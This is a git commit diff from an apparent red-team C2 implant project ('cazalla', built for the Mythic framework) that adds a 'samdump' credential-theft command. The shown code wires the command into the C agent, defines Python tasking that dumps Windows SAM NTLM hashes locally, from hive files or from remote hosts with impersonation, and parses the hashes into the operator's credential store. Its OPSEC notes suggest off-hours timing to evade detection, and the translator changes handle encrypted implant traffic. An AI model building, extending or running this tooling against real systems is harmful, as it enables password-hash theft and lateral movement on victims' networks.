kitos/Angerona
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

SamDump implemented

Browse Source
This commit is contained in:
marcos.luna
2025-12-17 16:13:40 +01:00
parent 9351102878
commit cb774a21a3
18 changed files with 3403 additions and 122 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile
+2 -2
View File
@@ -3,8 +3,8 @@ CC = x86_64-w64-mingw32-gcc
# Base flags
CFLAGS = -Wall -w -IInclude
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -lshlwapi -lversion -lcrypt32 -lncrypt -lole32 -lshell32 -mwindows
LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -lshlwapi -lversion -lcrypt32 -lncrypt -lole32 -lshell32
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -lshlwapi -lversion -lcrypt32 -lncrypt -lole32 -lshell32 -lntdll -mwindows
LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -lshlwapi -lversion -lcrypt32 -lncrypt -lole32 -lshell32 -lntdll
# Debug parameters (can be overridden from command line)
# DEBUG_LEVEL: none=0, errors=1, warnings=2, info=3, all=4
Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c
+4
View File
@@ -183,6 +183,10 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
_inf("===== PROCESSING BROWSER_DUMP_CMD (0x%02X) =====", tarea);
DumparNavegador(analizadorTarea);
_inf("===== BROWSER_DUMP_CMD COMPLETED =====");
} else if (tarea == SAMDUMP_CMD) {
_inf("===== PROCESSING SAMDUMP_CMD (0x%02X) =====", tarea);
SamDumpHandler(analizadorTarea);
_inf("===== SAMDUMP_CMD COMPLETED =====");
} else if (tarea == INLINE_EXECUTE_CMD) {
_inf("===== PROCESSING INLINE_EXECUTE_CMD (0x%02X) =====", tarea);
InlineExecuteHandler(analizadorTarea);
Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h
+4
View File
@@ -16,6 +16,7 @@
#include "rpfwd_manager.h"
#include "browser_info.h"
#include "browser_dump.h"
#include "samdump.h"
#include "inline_execute.h"
#define SHELL_CMD 0x54
@@ -64,6 +65,9 @@
/* Browser dump command */
#define BROWSER_DUMP_CMD 0x41
/* SAM dump command */
#define SAMDUMP_CMD 0x42
/* BOF and Assembly execution commands */
#define INLINE_EXECUTE_CMD 0x70
#define INLINE_EXECUTE_ASSEMBLY_CMD 0x71
Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.c
+7 -7
View File
@@ -1100,19 +1100,19 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
// Always try to capture output, even if BOF returned FALSE
// The BOF might have produced output via BeaconPrintf before crashing
// Get output from Beacon compatibility layer
int outdataSize = 0;
PCHAR outdata = BeaconGetOutputData(&outdataSize);
// Get output from Beacon compatibility layer
int outdataSize = 0;
PCHAR outdata = BeaconGetOutputData(&outdataSize);
if (outdata && outdataSize > 0) {
addBytes(salida, (PBYTE)outdata, outdataSize, TRUE);
free(outdata);
if (outdata && outdataSize > 0) {
addBytes(salida, (PBYTE)outdata, outdataSize, TRUE);
free(outdata);
// If BOF failed but we have output, add a warning
if (!bofSuccess) {
PackageAddFormatPrintf(salida, FALSE, "\n[WARNING] BOF execution may have failed, but output was captured\n");
}
} else {
} else {
if (bofSuccess) {
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] BOF ejecutado exitosamente (sin output)\n");
} else {
Payload_Type/cazalla/cazalla/agent_code/cazalla/samdump.c
+2292
View File
File diff suppressed because it is too large Load Diff
Payload_Type/cazalla/cazalla/agent_code/cazalla/samdump.h
+15
View File
@@ -0,0 +1,15 @@
#pragma once
#ifndef SAMDUMP_H
#define SAMDUMP_H
#include "analizador.h"
#include "paquete.h"
// SAM dump command code (must match translator)
#define SAMDUMP_CMD 0x42
// Forward declarations
VOID SamDumpHandler(PAnalizador argumentos);
#endif
Payload_Type/cazalla/cazalla/agent_functions/samdump.py
+346
View File
@@ -0,0 +1,346 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import json
import re
import asyncio
class SamDumpArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="method",
cli_name="method",
display_name="Dump Method",
type=ParameterType.ChooseOne,
choices=["registry", "files", "remote"],
default_value="registry",
description="Method to use for SAM dump: registry (default, local registry), files (from SAM/SYSTEM files), or remote (remote system)",
parameter_group_info=[
ParameterGroupInfo(
required=True,
group_name="Default",
ui_position=1
)
]
),
CommandParameter(
name="sam_path",
cli_name="sam_path",
display_name="SAM File Path",
type=ParameterType.String,
description="Path to SAM hive file (required when method=files). Example: C:\\Windows\\System32\\config\\SAM",
parameter_group_info=[
ParameterGroupInfo(
required=False,
group_name="Default",
ui_position=2
)
]
),
CommandParameter(
name="system_path",
cli_name="system_path",
display_name="SYSTEM File Path",
type=ParameterType.String,
description="Path to SYSTEM hive file (required when method=files). Example: C:\\Windows\\System32\\config\\SYSTEM",
parameter_group_info=[
ParameterGroupInfo(
required=False,
group_name="Default",
ui_position=3
)
]
),
CommandParameter(
name="remote_host",
cli_name="remote_host",
display_name="Remote Host",
type=ParameterType.String,
description="Remote system hostname or IP address (required when method=remote)",
parameter_group_info=[
ParameterGroupInfo(
required=False,
group_name="Default",
ui_position=4
)
]
),
CommandParameter(
name="impersonate",
cli_name="impersonate",
display_name="Impersonate User",
type=ParameterType.Boolean,
default_value=False,
description="Whether to impersonate a user before dumping (for remote access). Only used when method=remote",
parameter_group_info=[
ParameterGroupInfo(
required=False,
group_name="Default",
ui_position=5
)
]
),
CommandParameter(
name="username",
cli_name="username",
display_name="Username",
type=ParameterType.String,
description="Username for impersonation (required if impersonate=true and method=remote)",
parameter_group_info=[
ParameterGroupInfo(
required=False,
group_name="Default",
ui_position=6
)
]
),
CommandParameter(
name="password",
cli_name="password",
display_name="Password",
type=ParameterType.String,
description="Password for impersonation (required if impersonate=true and method=remote)",
parameter_group_info=[
ParameterGroupInfo(
required=False,
group_name="Default",
ui_position=7
)
]
),
]
async def parse_arguments(self):
# Parse command line arguments if provided
if len(self.command_line) > 0:
# Check if command_line is JSON
if self.command_line.strip().startswith('{'):
try:
json_args = json.loads(self.command_line)
# Load from JSON dictionary
self.load_args_from_dictionary(json_args)
return
except json.JSONDecodeError:
# Not valid JSON, try parsing as space-separated arguments
pass
# Parse as space-separated arguments
parts = self.command_line.split()
if len(parts) > 0:
method = parts[0].lower()
if method in ["registry", "files", "remote"]:
self.add_arg("method", method)
else:
raise ValueError(f"Invalid method: {method}. Must be 'registry', 'files', or 'remote'")
# Parse additional arguments based on method
if method == "files" and len(parts) >= 3:
self.add_arg("sam_path", parts[1])
self.add_arg("system_path", parts[2])
elif method == "remote" and len(parts) >= 2:
self.add_arg("remote_host", parts[1])
if len(parts) >= 4:
self.add_arg("impersonate", True)
self.add_arg("username", parts[2])
self.add_arg("password", parts[3])
async def parse_dictionary(self, dictionary_arguments):
self.load_args_from_dictionary(dictionary_arguments)
# Validate required parameters based on method
method = self.get_arg("method") or "registry"
# For "files" method, both paths are required
if method == "files":
if not self.get_arg("sam_path"):
raise ValueError("sam_path is required when method=files")
if not self.get_arg("system_path"):
raise ValueError("system_path is required when method=files")
# For "remote" method, remote_host is required
if method == "remote":
if not self.get_arg("remote_host"):
raise ValueError("remote_host is required when method=remote")
# username and password are optional - only needed if impersonate=true
if self.get_arg("impersonate"):
if not self.get_arg("username") or not self.get_arg("password"):
raise ValueError("username and password are required when impersonate=true")
class SamDumpCommand(CommandBase):
cmd = "samdump"
needs_admin = True # Requires SYSTEM privileges to access SAM
help_cmd = "samdump"
description = "Dump local account password hashes from the Security Account Manager (SAM) database. Extracts NTLM hashes for all local users. Requires SYSTEM privileges. Automatically reports extracted hashes to Mythic's credential store. HIGH OPSEC RISK: Accessing the SAM database is heavily monitored by EDR/XDR solutions and is a primary indicator of credential theft attacks."
version = 1
author = "Kaseya OFSTeam"
attackmapping = ["T1003.002", "T1003.001"]
argument_class = SamDumpArguments
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows]
)
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
"""
OPSEC check before creating the task.
SAM database access is highly detectable.
"""
message = "🚨 HIGH OPSEC RISK - SAM Database Access\n\n"
message += "This command will:\n"
message += " • Access the Security Account Manager (SAM) database\n"
message += " • Read encrypted password hashes (NTLM)\n"
message += " • Extract hashes for all local user accounts\n"
message += " • Report extracted hashes to Mythic's credential store\n\n"
message += "🔍 DETECTION RISKS:\n"
message += " • EDR/XDR solutions monitor SAM database access\n"
message += " • Registry access to HKEY_LOCAL_MACHINE\\SAM triggers alerts\n"
message += " • Credential theft detection rules (MITRE T1003.002)\n"
message += " • Behavioral analysis detects credential extraction patterns\n"
message += " • Security tools flag SAM access as high-priority indicator\n\n"
message += "⚠️ HIGH DETECTION PROBABILITY:\n"
message += " • SAM access is a primary indicator of attack\n"
message += " • Many security tools have specific rules for this activity\n"
message += " • Registry access patterns are logged and monitored\n"
message += " • Detection is likely within minutes\n\n"
message += "💡 CONSIDERATIONS:\n"
message += " • Requires SYSTEM privileges (use steal_token on SYSTEM process)\n"
message += " • This activity is commonly detected within minutes\n"
message += " • Consider timing (off-hours may reduce detection)\n"
message += " • Ensure you have proper authorization\n"
message += " • Alternative: Use Mimikatz or other tools via inline_execute_assembly\n\n"
message += "✅ This command requires approval from another operator."
return PTTTaskOPSECPreTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPreBlocked=True, # Block by default
OpsecPreBypassRole="other_operator", # Requires another operator to approve
OpsecPreMessage=message
)
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
"""
OPSEC check after creating the task.
Warns about artifacts that will be created.
"""
message = "🚨 OPSEC POST-CHECK - SAM Database Access Artifacts\n\n"
message += "This task will create the following artifacts:\n"
message += " • Registry Read: HKEY_LOCAL_MACHINE\\SAM access\n"
message += " • Registry Read: HKEY_LOCAL_MACHINE\\SYSTEM access (for boot key)\n"
message += " • Credential Access: SAM database enumeration\n"
message += " • Credential Extraction: NTLM hashes reported to Mythic\n\n"
message += "🔍 DETECTION RISKS:\n"
message += " • EDR/XDR registry access monitoring\n"
message += " • Credential theft detection rules (MITRE T1003.002)\n"
message += " • Behavioral analysis (credential extraction patterns)\n"
message += " • Registry access auditing (if enabled)\n\n"
message += "⚠️ CRITICAL DETECTION PROBABILITY:\n"
message += " • SAM access is heavily monitored\n"
message += " • Detection is likely within minutes\n"
message += " • Multiple security layers may trigger alerts\n\n"
message += "✅ This is a FINAL WARNING - task will proceed if approved.\n"
message += "Ensure you understand the detection risks before continuing."
return PTTTaskOPSECPostTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPostBlocked=False, # Don't block, just warn
OpsecPostBypassRole="operator",
OpsecPostMessage=message
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
method = taskData.args.get_arg("method") or "registry"
display_params = f"Dumping SAM database via {method}"
if method == "files":
sam_path = taskData.args.get_arg("sam_path")
system_path = taskData.args.get_arg("system_path")
display_params += f" (SAM: {sam_path}, SYSTEM: {system_path})"
elif method == "remote":
remote_host = taskData.args.get_arg("remote_host")
display_params += f" (Remote: {remote_host})"
if taskData.args.get_arg("impersonate"):
username = taskData.args.get_arg("username")
display_params += f" (Impersonating: {username})"
response.DisplayParams = display_params
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
"""
Process response from agent.
The response contains SAM dump output with NTLM hashes.
Extract hashes and report them to Mythic's credential store.
"""
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
if not response:
return resp
# Parse the response to extract NTLM hashes
response_text = str(response)
# Pattern to match NTLM hashes: username:RID:LM:NTLM
# Format: Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
hash_pattern = r'([^:]+):(\d+):([a-fA-F0-9]{32}|):([a-fA-F0-9]{32}|):'
hashes_found = []
for match in re.finditer(hash_pattern, response_text):
username = match.group(1).strip()
rid = match.group(2)
lm_hash = match.group(3) if match.group(3) else None
ntlm_hash = match.group(4) if match.group(4) else None
# Only report if we have at least one hash
if ntlm_hash and ntlm_hash != "aad3b435b51404eeaad3b435b51404ee": # Empty hash
hashes_found.append({
"username": username,
"rid": rid,
"lm_hash": lm_hash if lm_hash and lm_hash != "aad3b435b51404eeaad3b435b51404ee" else None,
"ntlm_hash": ntlm_hash
})
# Report credentials to Mythic
for hash_data in hashes_found:
try:
# Format: username:rid:lm_hash:ntlm_hash
credential_string = f"{hash_data['username']}:{hash_data['rid']}:"
if hash_data['lm_hash']:
credential_string += f"{hash_data['lm_hash']}:"
else:
credential_string += ":"
credential_string += f"{hash_data['ntlm_hash']}"
# Create credential in Mythic
await SendMythicRPCCredentialCreate(MythicRPCCredentialCreateMessage(
TaskID=task.Task.ID,
Credentials=[
MythicRPCCredentialCreateData(
account=hash_data['username'],
realm="", # Local account, no domain
credential=credential_string,
credential_type="hash", # NTLM hash
metadata=f"RID: {hash_data['rid']}, LM Hash: {hash_data['lm_hash'] if hash_data['lm_hash'] else 'N/A'}"
)
]
))
except Exception as e:
# Log error but continue processing other hashes
pass
return resp
Payload_Type/cazalla/translator/commands_from_c2.py
+57 -8
View File
@@ -34,6 +34,8 @@ commands = {
"browser_info": {"hex_code": 0x40, "input_type": None},
# Browser dump command
"browser_dump": {"hex_code": 0x41, "input_type": "string"},
# SAM dump command
"samdump": {"hex_code": 0x42, "input_type": "string"},
# Added SOCKS control commands
"start_socks": {"hex_code": 0x60, "input_type": "int"},
"stop_socks": {"hex_code": 0x61, "input_type": None},
@@ -148,14 +150,61 @@ def responseTasking(tasks):
file_path = file_path.rstrip('\x00')
parameters["file"] = file_path
print(f"[DEBUG] Normalized file path for {command_to_run}: {repr(file_path)}")
data += len(parameters).to_bytes(4,"big")
for param in parameters:
param_value = parameters[param]
# Convert parameter value to string if it's not already
if not isinstance(param_value, str):
param_value = str(param_value)
data += len(param_value).to_bytes(4, "big")
data += param_value.encode()
# Special handling for samdump: send parameters in fixed order
if command_to_run == "samdump":
method = parameters.get("method", "registry")
# Always send method first
method_str = str(method) if method else "registry"
nbArgs = 1 # Start with method
# Build parameter list in fixed order
param_list = [method_str]
if method == "files":
# sam_path and system_path are optional - will try common paths
sam_path = parameters.get("sam_path", "")
system_path = parameters.get("system_path", "")
if sam_path:
param_list.append(str(sam_path))
nbArgs += 1
if system_path:
param_list.append(str(system_path))
nbArgs += 1
elif method == "remote":
# remote_host is required
remote_host = parameters.get("remote_host", "")
if remote_host:
param_list.append(str(remote_host))
nbArgs += 1
# username and password are optional (only if impersonate=true)
impersonate = parameters.get("impersonate", False)
if impersonate:
username = parameters.get("username", "")
password = parameters.get("password", "")
if username:
param_list.append(str(username))
nbArgs += 1
if password:
param_list.append(str(password))
nbArgs += 1
data += nbArgs.to_bytes(4, "big")
for param_value in param_list:
param_str = str(param_value) if param_value else ""
data += len(param_str).to_bytes(4, "big")
data += param_str.encode()
else:
# Original format for other commands
data += len(parameters).to_bytes(4,"big")
for param in parameters:
param_value = parameters[param]
# Convert parameter value to string if it's not already
if not isinstance(param_value, str):
param_value = str(param_value)
data += len(param_value).to_bytes(4, "big")
data += param_value.encode()
else:
data += b"\x00\x00\x00\x00"
Payload_Type/cazalla/translator/commands_from_implant.py
+21 -5
View File
@@ -377,10 +377,15 @@ def postResponse(data):
# UUID pattern is very distinctive: 8 hex chars, dash, 4 hex, dash, 4 hex, dash, 4 hex, dash, 12 hex
# If we find a valid UUID pattern, it takes precedence over length interpretation
# Try at offset 0 first
print(f"[DEBUG] Buscando UUID en data de {len(data)} bytes")
print(f"[DEBUG] Primeros 72 bytes (hex): {data[:72].hex() if len(data) >= 72 else data.hex()}")
print(f"[DEBUG] Primeros 72 bytes (repr): {repr(data[:72]) if len(data) >= 72 else repr(data)}")
if len(data) >= 36:
potential_uuid = data[0:36]
try:
uuid_str = potential_uuid.decode('ascii', errors='replace')
print(f"[DEBUG] Intentando UUID en offset 0: '{uuid_str}'")
# Check if it looks like a UUID (format: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)
# UUID pattern: 8 hex, dash, 4 hex, dash, 4 hex, dash, 4 hex, dash, 12 hex
# Also check that the hyphens are at the correct positions
@@ -410,14 +415,25 @@ def postResponse(data):
if not uuidTask and len(data) >= 72:
potential_uuid = data[36:72]
try:
uuid_str = potential_uuid.decode('ascii')
uuid_str = potential_uuid.decode('ascii', errors='replace')
print(f"[DEBUG] Intentando UUID en offset 36: '{uuid_str}'")
if (len(uuid_str) == 36 and uuid_str[8] == '-' and uuid_str[13] == '-' and
uuid_str[18] == '-' and uuid_str[23] == '-' and
all(c in '0123456789abcdefABCDEF-' for c in uuid_str)):
uuidTask = potential_uuid
offset = 72
print(f"[DEBUG] UUID de tarea detectado en offset 36: {uuid_str}")
except:
# Additional validation
is_valid_uuid = (
all(c in '0123456789abcdefABCDEF' for c in uuid_str[0:8]) and
all(c in '0123456789abcdefABCDEF' for c in uuid_str[9:13]) and
all(c in '0123456789abcdefABCDEF' for c in uuid_str[14:18]) and
all(c in '0123456789abcdefABCDEF' for c in uuid_str[19:23]) and
all(c in '0123456789abcdefABCDEF' for c in uuid_str[24:36])
)
if is_valid_uuid:
uuidTask = potential_uuid
offset = 72
print(f"[DEBUG] UUID de tarea detectado en offset 36: {uuid_str}")
except Exception as e:
print(f"[DEBUG] Error al validar UUID en offset 36: {e}")
pass
# If still not found, check if data starts with a reasonable length
Payload_Type/cazalla/translator/translator.py
+34 -2
View File
@@ -413,12 +413,44 @@ class cazalla_translator(TranslationContainer):
print(f"[TRANSLATOR] Received message length: {len(inputMsg.Message)} bytes")
# Decrypt if encryption is enabled (agent encrypts before sending)
# Format: Base64(UUID_agente(36) + AES256(...))
data = inputMsg.Message
if self._crypto_type == "aes256_hmac" and self._enc_key:
print("[TRANSLATOR] Decrypting message from agent...")
print(f"[TRANSLATOR] Message length before decryption: {len(data)} bytes")
try:
data = self.aes256_decrypt(data)
print(f"[TRANSLATOR] Decrypted message length: {len(data)} bytes")
# Extract agent UUID (first 36 bytes) if present
# The agent sends: Base64(UUID_agente + AES256(POST_RESPONSE + UUID_tarea + ...))
# After Base64 decode, we have: UUID_agente + [IV][Ciphertext][HMAC]
if len(data) >= 36:
# Check if first 36 bytes look like a UUID (ASCII hex with dashes)
potential_uuid = data[:36]
try:
uuid_str = potential_uuid.decode('ascii', errors='replace')
# Simple check: UUID format has dashes at positions 8, 13, 18, 23
if (len(uuid_str) == 36 and uuid_str[8] == '-' and uuid_str[13] == '-' and
uuid_str[18] == '-' and uuid_str[23] == '-'):
# This looks like a UUID, extract it
agent_uuid = data[:36]
encrypted_data = data[36:]
print(f"[TRANSLATOR] Extracted agent UUID: {agent_uuid.decode('ascii', errors='replace')}")
print(f"[TRANSLATOR] Encrypted data length: {len(encrypted_data)} bytes")
data = self.aes256_decrypt(encrypted_data)
print(f"[TRANSLATOR] Decrypted message length: {len(data)} bytes")
else:
# Doesn't look like UUID, try decrypting the whole thing
print("[TRANSLATOR] First 36 bytes don't look like UUID, trying to decrypt whole message")
data = self.aes256_decrypt(data)
print(f"[TRANSLATOR] Decrypted message length: {len(data)} bytes")
except Exception as uuid_e:
print(f"[TRANSLATOR] Error checking for UUID: {uuid_e}, trying to decrypt whole message")
data = self.aes256_decrypt(data)
print(f"[TRANSLATOR] Decrypted message length: {len(data)} bytes")
else:
# Message too short, try decrypting anyway
print("[TRANSLATOR] Message too short for UUID extraction, trying to decrypt")
data = self.aes256_decrypt(data)
print(f"[TRANSLATOR] Decrypted message length: {len(data)} bytes")
except Exception as e:
print(f"[TRANSLATOR] ERROR: Decryption failed: {e}")
response.Success = False
Payload_Type/cazalla/translator/utils.py
+97 -97
View File
@@ -1,98 +1,98 @@
import base64
import os
from struct import pack, calcsize
def getBytesWithSize(data):
"""
Read length-prefixed data.
Format: [size:4 bytes big-endian][data:size bytes]
Returns: (data_bytes, remaining_bytes)
"""
if len(data) < 4:
print(f"[WARN] getBytesWithSize: datos insuficientes ({len(data)} < 4)")
return b"", data
size = int.from_bytes(data[0:4], 'big') # Explicitly use big-endian
data = data[4:]
# Validate size (reasonable limit: 100MB)
MAX_REASONABLE_SIZE = 100 * 1024 * 1024
if size > MAX_REASONABLE_SIZE:
print(f"[WARN] getBytesWithSize: tamaño sospechoso ({size} bytes, max razonable: {MAX_REASONABLE_SIZE})")
# Removed hex dump - use debug logging if needed
# If size is suspicious, maybe it's actually a marker byte
# Return empty output and keep all data as remaining
return b"", data
if len(data) < size:
print(f"[WARN] getBytesWithSize: tamaño ({size}) mayor que datos disponibles ({len(data)})")
# Return what we can and empty remaining
return data[:size], b""
return data[:size], data[size:]
class Packer:
"""
Packed data into length-prefixed binary format.
Reference: From Havoc framework https://github.com/HavocFramework/Modules/blob/main/Packer/packer.py
Adapted from Xenon's implementation
"""
def __init__(self):
self.buffer : bytes = b''
self.size : int = 0
def getbuffer(self):
"""Returns length-prefixed buffer: [size:4 bytes little-endian][data]"""
return pack("<L", self.size) + self.buffer
def addstr(self, s):
"""Add a null-terminated string"""
if s is None:
s = ''
if isinstance(s, str):
s = s.encode("utf-8")
fmt = "<L{}s".format(len(s) + 1)
self.buffer += pack(fmt, len(s)+1, s)
self.size += calcsize(fmt)
def addWstr(self, s):
"""Add a null-terminated wide string (UTF-16 LE)"""
if s is None:
s = ''
s = s.encode("utf-16_le")
fmt = "<L{}s".format(len(s) + 2)
self.buffer += pack(fmt, len(s)+2, s)
self.size += calcsize(fmt)
def addbytes(self, b):
"""Add raw bytes"""
if b is None:
b = b''
fmt = "<L{}s".format(len(b))
self.buffer += pack(fmt, len(b), b)
self.size += calcsize(fmt)
def addbool(self, b):
"""Add a boolean as int32"""
fmt = '<I'
self.buffer += pack(fmt, 1 if b else 0)
self.size += 4
def adduint32(self, n):
"""Add an unsigned int32"""
fmt = '<I'
self.buffer += pack(fmt, n)
self.size += 4
def addint(self, dint):
"""Add a signed int32"""
self.buffer += pack("<i", dint)
self.size += 4
def addshort(self, n):
"""Add a signed int16"""
fmt = '<h'
self.buffer += pack(fmt, n)
import base64
import os
from struct import pack, calcsize
def getBytesWithSize(data):
"""
Read length-prefixed data.
Format: [size:4 bytes big-endian][data:size bytes]
Returns: (data_bytes, remaining_bytes)
"""
if len(data) < 4:
print(f"[WARN] getBytesWithSize: datos insuficientes ({len(data)} < 4)")
return b"", data
size = int.from_bytes(data[0:4], 'big') # Explicitly use big-endian
data = data[4:]
# Validate size (reasonable limit: 100MB)
MAX_REASONABLE_SIZE = 100 * 1024 * 1024
if size > MAX_REASONABLE_SIZE:
print(f"[WARN] getBytesWithSize: tamaño sospechoso ({size} bytes, max razonable: {MAX_REASONABLE_SIZE})")
# Removed hex dump - use debug logging if needed
# If size is suspicious, maybe it's actually a marker byte
# Return empty output and keep all data as remaining
return b"", data
if len(data) < size:
print(f"[WARN] getBytesWithSize: tamaño ({size}) mayor que datos disponibles ({len(data)})")
# Return what we can and empty remaining
return data[:size], b""
return data[:size], data[size:]
class Packer:
"""
Packed data into length-prefixed binary format.
Reference: From Havoc framework https://github.com/HavocFramework/Modules/blob/main/Packer/packer.py
Adapted from Xenon's implementation
"""
def __init__(self):
self.buffer : bytes = b''
self.size : int = 0
def getbuffer(self):
"""Returns length-prefixed buffer: [size:4 bytes little-endian][data]"""
return pack("<L", self.size) + self.buffer
def addstr(self, s):
"""Add a null-terminated string"""
if s is None:
s = ''
if isinstance(s, str):
s = s.encode("utf-8")
fmt = "<L{}s".format(len(s) + 1)
self.buffer += pack(fmt, len(s)+1, s)
self.size += calcsize(fmt)
def addWstr(self, s):
"""Add a null-terminated wide string (UTF-16 LE)"""
if s is None:
s = ''
s = s.encode("utf-16_le")
fmt = "<L{}s".format(len(s) + 2)
self.buffer += pack(fmt, len(s)+2, s)
self.size += calcsize(fmt)
def addbytes(self, b):
"""Add raw bytes"""
if b is None:
b = b''
fmt = "<L{}s".format(len(b))
self.buffer += pack(fmt, len(b), b)
self.size += calcsize(fmt)
def addbool(self, b):
"""Add a boolean as int32"""
fmt = '<I'
self.buffer += pack(fmt, 1 if b else 0)
self.size += 4
def adduint32(self, n):
"""Add an unsigned int32"""
fmt = '<I'
self.buffer += pack(fmt, n)
self.size += 4
def addint(self, dint):
"""Add a signed int32"""
self.buffer += pack("<i", dint)
self.size += 4
def addshort(self, n):
"""Add a signed int16"""
fmt = '<h'
self.buffer += pack(fmt, n)
self.size += 2